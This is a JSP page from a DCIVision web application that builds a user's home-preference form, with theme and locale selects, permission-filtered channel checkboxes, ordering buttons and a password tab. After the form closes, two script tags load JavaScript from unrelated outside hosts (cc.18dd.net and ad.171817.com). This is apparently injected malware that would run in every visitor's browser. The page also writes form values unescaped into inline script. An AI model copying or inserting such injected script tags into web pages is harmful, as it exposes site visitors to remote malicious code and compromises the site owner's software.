<%
/**
 * @(#)EditPersonalHomePreference.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditPersonalHomePreference.jsp

  This file is reflecting business logic to maint the personal home preference.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    20/05/2004
    @version          $Revision: 1.20.2.31 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.util.*, javax.sql.*, java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.user.core.PreferenceManager"%>
<%@ page import="com.dcivision.user.core.UserManager"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintPersonalHomePreferenceForm" scope="request" class="com.dcivision.user.web.MaintPersonalHomePreferenceForm"/>

<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
%>

<%
  String navMode = (maintPersonalHomePreferenceForm.getNavMode()==null) ? "" : maintPersonalHomePreferenceForm.getNavMode();
  //String channels = "";

  String checkStr = "";
  if (GlobalConstant.OP_MODE_INSERT.equals(maintPersonalHomePreferenceForm.getOpMode())) {
    checkStr = " onclick='return(false);'";
  }
%>

<script>
  //save the value to choose whether refresh parent page
  oldPreferenceForm.preference = '<%=maintPersonalHomePreferenceForm.getPreference()%>';
  oldPreferenceForm.locale = '<%=maintPersonalHomePreferenceForm.getLocale()%>';
  oldPreferenceForm.disableViewChannel = '<%=maintPersonalHomePreferenceForm.getDisableViewChannel()%>';
</script>

<html:form action='user/MaintPersonalHomePreference' onsubmit='try{submitForm(this);}catch(hh){};return false;' styleClass="form-style-2">
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='userRecordID'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='disableViewChannel'/>

<%
  //UserRecord userRecord = sessionContainer.getUserRecord();
  String disableChannel = maintPersonalHomePreferenceForm.getDisableViewChannel();
  if (Utility.isEmpty(disableChannel)) {
    disableChannel = "";
  }

  boolean accessSystemLogs =sessionContainer.hasAccessRight(SystemFunctionConstant.MESSAGE_INBOX, "R");
  boolean accessCalendars = sessionContainer.hasAccessRight(SystemFunctionConstant.SCHEDULE_CALENDAR, "R");
  boolean accessRecentlyAccessList = sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R");
  boolean accessWorkflowTaskList = sessionContainer.hasAccessRight(SystemFunctionConstant.WORKFLOW_TASK, "R");
  boolean accessWorkflowTrackingList = sessionContainer.hasAccessRight(SystemFunctionConstant.WORKFLOW_TRACK, "R");
  //Check the current user "User Can Change Password" permission.
  boolean isCanChangePasswordFlag=GlobalConstant.TRUE.equals(sessionContainer.getUserRecord().getModifyLoginPwd());
  boolean shortcutAccessible= (!(sessionContainer.getAppContainer()!=null && sessionContainer.getAppContainer().isLightVersion())
          && (((sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R")
                      || sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER, "R")))
          || ((sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R")
                      || sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER, "R"))
                      && (sessionContainer.getAppContainer()!=null && !sessionContainer.getAppContainer().isLightVersion()))
          || ((sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER, "R")
                      || sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER, "R"))
                      && com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_BULK_SEARCH))
          || (sessionContainer.hasAccessRight(SystemFunctionConstant.DMS_EMPTY_FILE, "I"))
          || (sessionContainer.hasAccessRight(SystemFunctionConstant.WORKFLOW_TASK,"R")
                      && SystemParameterFactory.getSystemParameterBoolean("dms.enable_paper_document") )));
%>
<!--Hold these channels permission-->

<layout:tabContainer id="channelPreferenceTab" dojoDialogID="DialogContent">
  <layout:tabBar>
    <layout:tabPane id="generalPreferenceTab" title="common.label.general" selected="true"/>
  <%if(isCanChangePasswordFlag){%>
    <layout:tabPane id="changePwdTab" title="common.label.change_password" />
  <%}%>
  </layout:tabBar>
  <div id="generalPreferenceTab" class="tabContent">
  <table width="520px" border="0">
    <tr>
      <td  align="center" colspan="2"><html:img src='LayoutSpacer.gif' width='1' height='25px'/></td>
    </tr>
    <tr>
    <%
    int colspan=1;
    if( SystemParameterFactory.getSystemParameterBoolean("system.allow_change_preference") ){%>
       <td class="tableLabel_right"><bean:message key='user.label.preference'/>:&nbsp;
         <html:select property="preference" styleClass="form-style-2-auto-pulldown">
           <html:options stringArray='<%=PreferenceManager.THEME_PREFERENCE_MAP%>'/>
         </html:select>
       </td>
    <%}else{colspan=2;}%>
        <td class="tableLabel_left" colspan="<%=colspan %>"><bean:message key='user.label.locale'/>:&nbsp;
           <html:select property="locale" styleClass="form-style-2-auto-pulldown">
             <html:options stringArray='<%=PreferenceManager.LANG_MAP%>'/>
           </html:select>
         </td>
       </tr>  

    <tr>
      <td align="left" valign="top" colspan="4" style="margin:0px;padding-left:45px;padding-top:35px;">
        <table  width="100%" border="0" id="preferenceTable">
        <tr>
        <td><bean:message key="calendar.label.show"/>
        </td>
        <td><bean:message key="home.label.channel"/>
        </td>
        <td><bean:message key="home.label.channel_display_pre_page"/>
        </td>
        <td><bean:message key="home.label.channel_display_sequence"/>
        </td>
        </tr>
        <tr><td colspan="4" class="sectionLine">&nbsp;</td></tr>
        <tbody id="preferenceList" align="left">
       <%if (!sessionContainer.getPermissionManager().isAdmin()) {%>
         <%try{%>
          <%

          List disPlayChannelList = new ArrayList();
          List noSeqDisPlayChannelList = new ArrayList();
          int rowID = 0;
          for(int i=0;i<maintPersonalHomePreferenceForm.getChannelSquence().size();i++){%>
          <%String channelStr = (String)maintPersonalHomePreferenceForm.getChannelSquence().get(i);%>
          <%
              ChannelPreferenceBean channelBean = new ChannelPreferenceBean();
              channelBean.setChannelPreferenceStr(channelStr);//init channelBean
              String channelTitle = null;
              if(com.dcivision.user.UserHomePreferenceConstant.channelMap.get(channelBean.getChannelName())!=null)
                 channelTitle =(String)com.dcivision.user.UserHomePreferenceConstant.channelMap.get(channelBean.getChannelName());

        boolean disPlay = true;
    
        if(channelBean.getChannelName().equals(PersonalHomePreference.CALENDAR_TODO_LIST)||channelBean.getChannelName().equals(PersonalHomePreference.CALENDAR_MEETING_LIST)){//CALENDAR_TODO_LIST,CALENDAR_MEETING_LIST NEED accessCalendars = true
         //if (!accessCalendars) {//3-2-0 move this function,but if update from 3-1-x,calendars will remain.so need filter here
           disPlay = false;
        //}
         channelBean.setSuffix("common.channel.meeting_events");
        }

        // recent doc permission--
        if(channelBean.getChannelName().equals(PersonalHomePreference.RECENTLY_ACCESSED_DOC)){
          if(!accessRecentlyAccessList){
           disPlay = false;
          }
          channelBean.setChannelSequenceTextOnly(true);
          channelBean.setSuffix("common.channel.documents");
        }
        // task permission--
        if(channelBean.getChannelName().equals(PersonalHomePreference.PENDING_WORKFLOW_TASK)){
         if(!accessWorkflowTaskList){
          disPlay = false;
        }
         channelBean.setSuffix("common.channel.tasks");
        }
        // tracking permission--
        if(channelBean.getChannelName().equals(PersonalHomePreference.WORKFLOW_TRACKING_LIST)){
         if(!accessWorkflowTrackingList){
          disPlay = false;
        }
         channelBean.setSuffix("common.channel.tasks");
        }

         // messageInbox permission
        if(channelBean.getChannelName().equals(PersonalHomePreference.SYSTEM_LOGS)){
         if(!accessSystemLogs){
          disPlay = false;
        }
         channelBean.setSuffix("common.channel.message_inboxs"); 
        }

        //set read only
        if(channelBean.getChannelName().equals(PersonalHomePreference.CALENDAR_TODO_LIST)){
          channelBean.setPerPageTextOnly(true);
          channelBean.setChannelSequenceTextOnly(true);
        }

        //set can edit channelSequence
        if(channelBean.getChannelName().equals(PersonalHomePreference.TOOLS)){
          channelBean.setChannelSequenceTextOnly(true);
          channelBean.setPerPageTextOnly(true);
          if(!shortcutAccessible){
            disPlay = false;
          }
        }

       if(disPlay&&channelTitle!=null){
        channelBean.setChannelTitle(channelTitle);
        if(!channelBean.getChannelSequenceTextOnly()){
          disPlayChannelList.add(channelBean);
        }else{
          noSeqDisPlayChannelList.add(channelBean);
        }
        }
    }
      %>

      <%

        boolean hasPreRecord  = false;
        boolean hasNextRecord = false;

        for(int i=0;i<disPlayChannelList.size();i++){
        rowID++;
        ChannelPreferenceBean channelBean = (ChannelPreferenceBean)disPlayChannelList.get(i);
        
        //set preRecord/nextRecord
        if(i==0){
          hasPreRecord = false;
        }else{
          hasPreRecord = true;
        }
  
        if(i<disPlayChannelList.size()-1){
          hasNextRecord = true;
        }else{
          hasNextRecord = false;
        } 
       %>
      <!--Display the channels-->
       <tr id="<%=rowID%>">
       <td class="tableLabelShow">
       <input type="checkbox" name= '<%="channel"+rowID%>' value='<%=channelBean.getChannelName()%>' <%=(disableChannel.indexOf(channelBean.getChannelName()+"_N") ==-1)? "checked":""%> class="checkbox">
       </td>
       <td class="tableLabelChannel">
       <bean:message key='<%=channelBean.getChannelTitle()%>'/>
       </td>
       <td>&nbsp;
       <%
       if(!channelBean.getPerPageTextOnly()){
       %>
        <html:select property='<%="channel"+rowID+"perPage"%>'  value="<%=channelBean.getPerPage()%>">
              <html:options name="maintPersonalHomePreferenceForm" property='perPageValue' labelProperty="perPageValue"/>
        </html:select>
        <bean:message key="<%=channelBean.getSuffix()%>"/>
        <%}else{%>
          <select name='<%="channel"+rowID+"perPage"%>' style="display: none;"></select>
        <%}%>
       </td>
       <td>
       <div style="float:left;">
       <%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintPersonalHomePreferenceForm.getNavMode())) {%>
       <html:hidden property='<%="channel"+rowID+"Sequence"%>' value="<%=channelBean.getChannelSequence()%>"/>
       <input type="hidden" value="<%=channelBean.getChannelSequenceTextOnly()%>"/>
       <%if(!channelBean.getChannelSequenceTextOnly()){%>
          <% String actionString = null; %>
       <%if(hasPreRecord){%>
           <% actionString = "SetRow('up',"+rowID+")"; %>
         <html:standardButton src="arrow_up_large.gif" onClick='<%=actionString%>'/>
        <%}else{%>
         <html:standardButton src="arrow_up_disabled.gif" disable="true"/>
        <%}%>
        <%if(hasNextRecord){%>
          <% actionString = "SetRow('down',"+rowID+")"; %>
         <html:standardButton src="arrow_down_large.gif" onClick='<%=actionString%>'/>
         <%}else{%>
         <html:standardButton src="arrow_down_disabled.gif" disable="true"/>
         <%}%>
       <%}%>
       <%}%>
       </div>
       </td>
            </tr>
      <!--Display the seq channels END-->
            <%}//for%>
       
       <tr><td colspan="4" >&nbsp;</td></tr>
       <tr><td colspan="4" class="sectionLine">&nbsp;</td></tr>
       <%for(int i=0;i<noSeqDisPlayChannelList.size();i++){ 
    	   rowID++;
    	   ChannelPreferenceBean channelBean = (ChannelPreferenceBean)noSeqDisPlayChannelList.get(i);
       %>
       <tr id="<%=rowID%>">
       <td class="tableLabelShow">
       <input type="checkbox" name= '<%="channel"+rowID%>' value='<%=channelBean.getChannelName()%>' <%=(disableChannel.indexOf(channelBean.getChannelName()+"_N") ==-1)? "checked":""%> class="checkbox">
       </td>
       <td class="tableLabelChannel">
       <bean:message key='<%=channelBean.getChannelTitle()%>'/>
       </td>
       <td>&nbsp;
       <%
       if(!channelBean.getPerPageTextOnly()){
       %>
        <html:select property='<%="channel"+rowID+"perPage"%>'  value="<%=channelBean.getPerPage()%>">
              <html:options name="maintPersonalHomePreferenceForm" property='perPageValue' labelProperty="perPageValue"/>
        </html:select>
        <bean:message key="<%=channelBean.getSuffix()%>"/>
        <%}else{%>
          <select name='<%="channel"+rowID+"perPage"%>' style="display: none;"></select>
        <%}%>
       </td>
       <td>
       <html:hidden property='<%="channel"+rowID+"Sequence"%>' value="<%=channelBean.getChannelSequence()%>"/>
       <input type="hidden" value="<%=channelBean.getChannelSequenceTextOnly()%>"/>
       </td>
       </tr>
       <%} %>
      <%}catch(Exception ex){
       LogFactory.getLog(this.getClass()).error(ex, ex);
      }%>
          <%}%>
      </tbody>
      </table>
      </td>
    </tr>
    <tr>
      <td  align="center" colspan="2"><html:img src='LayoutSpacer.gif' width='1' height='20'/></td>
    </tr>
    </table>
    </div>
    <div id="changePwdTab" class="tabContent" style="height: 310px;">
      <%@ include file="IncludeUserPwd.jsp"%>
    </div>
    </layout:tabContainer>

    <div id="bottomButtonArea">
      <div id="buttonSection">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(maintPersonalHomePreferenceForm.getNavMode())) {%>
        <html:standardButton label="common.label.close" onClick="return OpClose('true');"/>
      <%}else {%>
        <html:standardButton label="common.label.save" onClick="return OpCreate(false);"/>
        <html:standardButton label="common.channel.label.save_and_close" onClick="return OpCreate(true);"/>
        <html:standardButton label="common.label.close" onClick="return OpClose('false');"/>
      <%}%>
    </div>
    </div>
 </html:form>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>